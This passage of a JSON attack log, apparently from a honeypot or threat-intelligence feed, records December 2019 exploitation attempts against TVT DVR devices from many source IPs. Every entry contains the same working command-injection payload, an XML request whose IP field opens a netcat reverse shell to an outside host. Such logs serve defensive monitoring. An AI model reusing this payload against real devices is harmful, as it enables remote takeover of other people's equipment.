  10058.       "source_ip_address": "187.159.31.41",
  10059.       "country": "MX",
  10060.       "user_agent": "Help",
  10061.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  10062.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  10063.       "target_port": 81,
  10064.       "protocol": "tcp",
  10065.       "tags": [
  10066.         {
  10067.           "cve": "",
  10068.           "category": "IoT",
  10069.           "description": "TVT (Generic OEM) DVR RCE"
  10070.         }
  10071.       ],
  10072.       "event_count": 1,
  10073.       "first_seen": "2019-12-19T14:33:37Z",
  10074.       "last_seen": "2019-12-19T14:33:37Z"
  10075.     },
  10076.     {
  10077.       "source_ip_address": "218.161.101.233",
  10078.       "country": "TW",
  10079.       "user_agent": "Help",
  10080.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  10081.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  10082.       "target_port": 8080,
  10083.       "protocol": "tcp",
  10084.       "tags": [
  10085.         {
  10086.           "cve": "",
  10087.           "category": "IoT",
  10088.           "description": "TVT (Generic OEM) DVR RCE"
  10089.         }
  10090.       ],
  10091.       "event_count": 1,
  10092.       "first_seen": "2019-12-19T14:31:38Z",
  10093.       "last_seen": "2019-12-19T14:31:38Z"
  10094.     },
  10095.     {
  10096.       "source_ip_address": "70.168.196.120",
  10097.       "country": "US",
  10098.       "user_agent": "Help",
  10099.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  10100.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  10101.       "target_port": 8000,
  10102.       "protocol": "tcp",
  10103.       "tags": [
  10104.         {
  10105.           "cve": "",
  10106.           "category": "IoT",
  10107.           "description": "TVT (Generic OEM) DVR RCE"
  10108.         }
  10109.       ],
  10110.       "event_count": 2,
  10111.       "first_seen": "2019-12-19T14:29:41Z",
  10112.       "last_seen": "2019-12-19T14:29:41Z"
  10113.     },
  10114.     {
  10115.       "source_ip_address": "14.46.217.114",
  10116.       "country": "KR",
  10117.       "user_agent": "Help",
  10118.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  10119.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  10120.       "target_port": 8000,
  10121.       "protocol": "tcp",
  10122.       "tags": [
  10123.         {
  10124.           "cve": "",
  10125.           "category": "IoT",
  10126.           "description": "TVT (Generic OEM) DVR RCE"
  10127.         }
  10128.       ],
  10129.       "event_count": 1,
  10130.       "first_seen": "2019-12-19T14:28:17Z",
  10131.       "last_seen": "2019-12-19T14:28:17Z"
  10132.     },
  10133.     {
  10134.       "source_ip_address": "79.119.197.210",
  10135.       "country": "RO",
  10136.       "user_agent": "Help",
  10137.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  10138.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  10139.       "target_port": 8080,
  10140.       "protocol": "tcp",
  10141.       "tags": [
  10142.         {
  10143.           "cve": "",
  10144.           "category": "IoT",
  10145.           "description": "TVT (Generic OEM) DVR RCE"
  10146.         }
  10147.       ],
  10148.       "event_count": 60,
  10149.       "first_seen": "2019-12-19T14:15:51Z",
  10150.       "last_seen": "2019-12-19T14:15:51Z"
  10151.     },
  10152.     {
  10153.       "source_ip_address": "12.12.183.59",
  10154.       "country": "US",
  10155.       "user_agent": "Help",
  10156.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  10157.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  10158.       "target_port": 80,
  10159.       "protocol": "tcp",
  10160.       "tags": [
  10161.         {
  10162.           "cve": "",
  10163.           "category": "IoT",
  10164.           "description": "TVT (Generic OEM) DVR RCE"
  10165.         }
  10166.       ],
  10167.       "event_count": 3,
  10168.       "first_seen": "2019-12-19T14:08:56Z",
  10169.       "last_seen": "2019-12-19T14:08:56Z"
  10170.     },
  10171.     {
  10172.       "source_ip_address": "108.46.78.101",
  10173.       "country": "US",
  10174.       "user_agent": "Help",
  10175.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  10176.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  10177.       "target_port": 8080,
  10178.       "protocol": "tcp",
  10179.       "tags": [
  10180.         {
  10181.           "cve": "",
  10182.           "category": "IoT",
  10183.           "description": "TVT (Generic OEM) DVR RCE"
  10184.         }
  10185.       ],
  10186.       "event_count": 1,
  10187.       "first_seen": "2019-12-19T13:55:08Z",
  10188.       "last_seen": "2019-12-19T13:55:08Z"
  10189.     },
  10190.     {
  10191.       "source_ip_address": "191.6.129.187",
  10192.       "country": "BR",
  10193.       "user_agent": "Help",
  10194.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  10195.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  10196.       "target_port": 8000,
  10197.       "protocol": "tcp",
  10198.       "tags": [
  10199.         {
  10200.           "cve": "",
  10201.           "category": "IoT",
  10202.           "description": "TVT (Generic OEM) DVR RCE"
  10203.         }
  10204.       ],
  10205.       "event_count": 62,
  10206.       "first_seen": "2019-12-19T13:52:41Z",
  10207.       "last_seen": "2019-12-19T13:52:41Z"
  10208.     },
  10209.     {
  10210.       "source_ip_address": "81.168.94.171",
  10211.       "country": "GB",
  10212.       "user_agent": "Help",
  10213.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  10214.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  10215.       "target_port": 80,
  10216.       "protocol": "tcp",
  10217.       "tags": [
  10218.         {
  10219.           "cve": "",
  10220.           "category": "IoT",
  10221.           "description": "TVT (Generic OEM) DVR RCE"
  10222.         }
  10223.       ],
  10224.       "event_count": 1,
  10225.       "first_seen": "2019-12-19T13:40:07Z",
  10226.       "last_seen": "2019-12-19T13:40:07Z"
  10227.     },
  10228.     {
  10229.       "source_ip_address": "173.63.29.21",
  10230.       "country": "US",
  10231.       "user_agent": "Help",
  10232.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  10233.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  10234.       "target_port": 88,
  10235.       "protocol": "tcp",
  10236.       "tags": [
  10237.         {
  10238.           "cve": "",
  10239.           "category": "IoT",
  10240.           "description": "TVT (Generic OEM) DVR RCE"
  10241.         }
  10242.       ],
  10243.       "event_count": 1,
  10244.       "first_seen": "2019-12-19T13:35:31Z",
  10245.       "last_seen": "2019-12-19T13:35:31Z"
  10246.     },
  10247.     {
  10248.       "source_ip_address": "80.82.70.211",
  10249.       "country": "SC",
  10250.       "user_agent": "ApiTool",
  10251.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  10252.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  10253.       "target_port": 80,
  10254.       "protocol": "tcp",
  10255.       "tags": [
  10256.         {
  10257.           "cve": "",
  10258.           "category": "IoT",
  10259.           "description": "TVT (Generic OEM) DVR RCE"
  10260.         }
  10261.       ],
  10262.       "event_count": 2,
  10263.       "first_seen": "2019-12-19T12:55:37Z",
  10264.       "last_seen": "2019-12-19T13:31:14Z"
  10265.     },
  10266.     {
  10267.       "source_ip_address": "104.244.229.126",
  10268.       "country": "JM",
  10269.       "user_agent": "Help",
  10270.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  10271.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  10272.       "target_port": 80,
  10273.       "protocol": "tcp",
  10274.       "tags": [
  10275.         {
  10276.           "cve": "",
  10277.           "category": "IoT",
  10278.           "description": "TVT (Generic OEM) DVR RCE"
  10279.         }
  10280.       ],
  10281.       "event_count": 1,
  10282.       "first_seen": "2019-12-19T13:30:44Z",
  10283.       "last_seen": "2019-12-19T13:30:44Z"
  10284.     },
  10285.     {
  10286.       "source_ip_address": "24.171.35.147",
  10287.       "country": "US",
  10288.       "user_agent": "Help",
  10289.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  10290.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  10291.       "target_port": 80,
  10292.       "protocol": "tcp",
  10293.       "tags": [
  10294.         {
  10295.           "cve": "",
  10296.           "category": "IoT",
  10297.           "description": "TVT (Generic OEM) DVR RCE"
  10298.         }
  10299.       ],
  10300.       "event_count": 1,
  10301.       "first_seen": "2019-12-19T13:23:36Z",
  10302.       "last_seen": "2019-12-19T13:23:36Z"
  10303.     },
  10304.     {
  10305.       "source_ip_address": "138.255.73.244",
  10306.       "country": "BR",
  10307.       "user_agent": "Help",
  10308.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  10309.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  10310.       "target_port": 81,
  10311.       "protocol": "tcp",
  10312.       "tags": [
  10313.         {
  10314.           "cve": "",
  10315.           "category": "IoT",
  10316.           "description": "TVT (Generic OEM) DVR RCE"
  10317.         }
  10318.       ],
  10319.       "event_count": 64,
  10320.       "first_seen": "2019-12-19T13:22:40Z",
  10321.       "last_seen": "2019-12-19T13:22:40Z"
  10322.     },
  10323.     {
  10324.       "source_ip_address": "14.41.119.147",
  10325.       "country": "KR",
  10326.       "user_agent": "Help",
  10327.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  10328.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  10329.       "target_port": 8080,
  10330.       "protocol": "tcp",
  10331.       "tags": [
  10332.         {
  10333.           "cve": "",
  10334.           "category": "IoT",
  10335.           "description": "TVT (Generic OEM) DVR RCE"
  10336.         }
  10337.       ],
  10338.       "event_count": 1,
  10339.       "first_seen": "2019-12-19T13:10:06Z",
  10340.       "last_seen": "2019-12-19T13:10:06Z"
  10341.     },
  10342.     {
  10343.       "source_ip_address": "185.61.137.172",
  10344.       "country": "NL",
  10345.       "user_agent": "ApiTool",
  10346.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  10347.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  10348.       "target_port": 80,
  10349.       "protocol": "tcp",
  10350.       "tags": [
  10351.         {
  10352.           "cve": "",
  10353.           "category": "IoT",
  10354.           "description": "TVT (Generic OEM) DVR RCE"
  10355.         }
  10356.       ],
  10357.       "event_count": 370,
  10358.       "first_seen": "2019-12-19T12:26:05Z",
  10359.       "last_seen": "2019-12-19T12:34:12Z"
  10360.     },
  10361.     {
  10362.       "source_ip_address": "60.53.184.44",
  10363.       "country": "MY",
  10364.       "user_agent": "Help",
  10365.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  10366.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  10367.       "target_port": 8000,
  10368.       "protocol": "tcp",
  10369.       "tags": [
  10370.         {
  10371.           "cve": "",
  10372.           "category": "IoT",
  10373.           "description": "TVT (Generic OEM) DVR RCE"
  10374.         }
  10375.       ],
  10376.       "event_count": 1,
  10377.       "first_seen": "2019-12-19T12:24:56Z",
  10378.       "last_seen": "2019-12-19T12:24:56Z"
  10379.     },
  10380.     {
  10381.       "source_ip_address": "219.85.136.137",
  10382.       "country": "TW",
  10383.       "user_agent": "Help",
  10384.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  10385.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  10386.       "target_port": 88,
  10387.       "protocol": "tcp",
  10388.       "tags": [
  10389.         {
  10390.           "cve": "",
  10391.           "category": "IoT",
  10392.           "description": "TVT (Generic OEM) DVR RCE"
  10393.         }
  10394.       ],
  10395.       "event_count": 1,
  10396.       "first_seen": "2019-12-19T12:22:59Z",
  10397.       "last_seen": "2019-12-19T12:22:59Z"
  10398.     },
  10399.     {
  10400.       "source_ip_address": "179.159.199.181",
  10401.       "country": "BR",
  10402.       "user_agent": "Help",
  10403.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  10404.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  10405.       "target_port": 8080,
  10406.       "protocol": "tcp",
  10407.       "tags": [
  10408.         {
  10409.           "cve": "",
  10410.           "category": "IoT",
  10411.           "description": "TVT (Generic OEM) DVR RCE"
  10412.         }
  10413.       ],
  10414.       "event_count": 1,
  10415.       "first_seen": "2019-12-19T12:21:34Z",
  10416.       "last_seen": "2019-12-19T12:21:34Z"
  10417.     },
  10418.     {
  10419.       "source_ip_address": "75.67.90.89",
  10420.       "country": "US",
  10421.       "user_agent": "Help",
  10422.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  10423.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  10424.       "target_port": 88,
  10425.       "protocol": "tcp",
  10426.       "tags": [
  10427.         {
  10428.           "cve": "",
  10429.           "category": "IoT",
  10430.           "description": "TVT (Generic OEM) DVR RCE"
  10431.         }
  10432.       ],
  10433.       "event_count": 1,
  10434.       "first_seen": "2019-12-19T12:16:42Z",
  10435.       "last_seen": "2019-12-19T12:16:42Z"
  10436.     },
  10437.     {
  10438.       "source_ip_address": "41.39.49.23",
  10439.       "country": "EG",
  10440.       "user_agent": "Help",
  10441.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  10442.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  10443.       "target_port": 81,
  10444.       "protocol": "tcp",
  10445.       "tags": [
  10446.         {
  10447.           "cve": "",
  10448.           "category": "IoT",
  10449.           "description": "TVT (Generic OEM) DVR RCE"
  10450.         }
  10451.       ],
  10452.       "event_count": 1,
  10453.       "first_seen": "2019-12-19T11:56:46Z",
  10454.       "last_seen": "2019-12-19T11:56:46Z"
  10455.     },
  10456.     {
  10457.       "source_ip_address": "112.219.87.98",
  10458.       "country": "KR",
  10459.       "user_agent": "Help",
  10460.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  10461.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  10462.       "target_port": 8000,
  10463.       "protocol": "tcp",
  10464.       "tags": [
  10465.         {
  10466.           "cve": "",
  10467.           "category": "IoT",
  10468.           "description": "TVT (Generic OEM) DVR RCE"
  10469.         }
  10470.       ],
  10471.       "event_count": 72,
  10472.       "first_seen": "2019-12-19T11:52:56Z",
  10473.       "last_seen": "2019-12-19T11:52:56Z"
  10474.     },
  10475.     {
  10476.       "source_ip_address": "201.114.190.164",
  10477.       "country": "MX",
  10478.       "user_agent": "Help",
  10479.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  10480.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  10481.       "target_port": 88,
  10482.       "protocol": "tcp",
  10483.       "tags": [
  10484.         {
  10485.           "cve": "",
  10486.           "category": "IoT",
  10487.           "description": "TVT (Generic OEM) DVR RCE"
  10488.         }
  10489.       ],
  10490.       "event_count": 2,
  10491.       "first_seen": "2019-12-19T11:42:57Z",
  10492.       "last_seen": "2019-12-19T11:42:57Z"
  10493.     },
  10494.     {
  10495.       "source_ip_address": "179.185.208.65",
  10496.       "country": "BR",
  10497.       "user_agent": "Help",
  10498.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  10499.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  10500.       "target_port": 81,
  10501.       "protocol": "tcp",
  10502.       "tags": [
  10503.         {
  10504.           "cve": "",
  10505.           "category": "IoT",
  10506.           "description": "TVT (Generic OEM) DVR RCE"
  10507.         }
  10508.       ],
  10509.       "event_count": 1,
  10510.       "first_seen": "2019-12-19T11:38:54Z",
  10511.       "last_seen": "2019-12-19T11:38:54Z"
  10512.     },
  10513.     {
